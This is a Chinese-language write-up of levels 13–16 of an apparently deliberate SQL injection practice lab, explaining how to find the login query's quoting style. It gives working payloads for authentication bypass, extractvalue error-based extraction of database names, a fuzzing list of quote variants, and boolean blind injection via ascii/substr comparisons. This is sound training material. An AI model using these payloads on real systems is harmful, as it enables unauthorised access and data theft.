第十三關:
這關也是一個登陸口,和上關所說的一樣,先使用'"試一下,讓程序報錯然后判斷后台的sql語句
可以看到后台sql大概是 where name = ('$name')... 這樣的
post信息中輸入uname=1') or '1'='1' #&passwd=1&submit=Submit 可以成功進入
但是沒有顯示賬號密碼之類的,所以不能使用上一關的聯表查詢。嘗試使用上關的報錯查詢試試,輸入
uname=1&passwd=1') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1))) #&submit=Submit
能成功報錯出數據庫名!但是這里顯示不全,可以不使用group_concat這個函數,利用limit一行一行的查詢
其實這關主要考察的是雙查詢注入(floor的報錯查詢),但是這里可以使用extractvalue進行報錯,那他的我就不繼續下去了。
第十四關:
這關和第十三關是類似的,只是將')變成了"而已,至於是怎么判斷的還是使用的'"。
這里還補充一句,登錄框的地方很多時候都沒有報錯信息,那么怎么判斷后台的sql拼湊方式呢? 目前我的辦法是將這些比如1' or '1'='1' # ; 1" or "1"="1" # ; 1') or '1'='1' # ; 1")or "1"="1" # 等等做成一個字典,然后進行fuzz。
第十五關:
好吧,上面剛說面沒有報錯的情況下應該怎么辦,這關就遇到了!(說實話,我寫上面那段話的時候是真的沒有看這關的內容)
我剛看到這題的時候還是直接輸入的'",結果發現沒有報錯信息,這個時候就無法通過報錯直接判斷后台的拼接方式了。
使用上面fuzz的方式是可以判斷的,但是這里我就直接看后台的實現吧
發現后台是直接用的單引符號,這里也不會登陸成功后的賬號密碼,所以只能使用盲注了。
我記得我之前在第十一關的時候就嘗試了盲注的,當時沒成功,這里的情況實際上是和第十一關一模一樣的,后台網上查了下才發現,盲注時應該是
or (ascii(substr((select database()) ,1,1))) >64
而不能是 or ascii(substr((select database()) ,1,1)) >64
post 輸入uname=1' or (ascii(substr((user()),1,1)))>64 #&passwd=1&submit=Submit 能登陸成功
輸入uname=1' or (ascii(substr((user()),1,1)))>200 #&passwd=1&submit=Submit
登陸失敗,后面的就不繼續了,利用二分法一個字符一個字符的判斷即可。
第十六關:
和第十五關類似,只是將單引符號改為了雙引符號進行拼湊。怎么判斷后台的拼湊方式? fuzz!!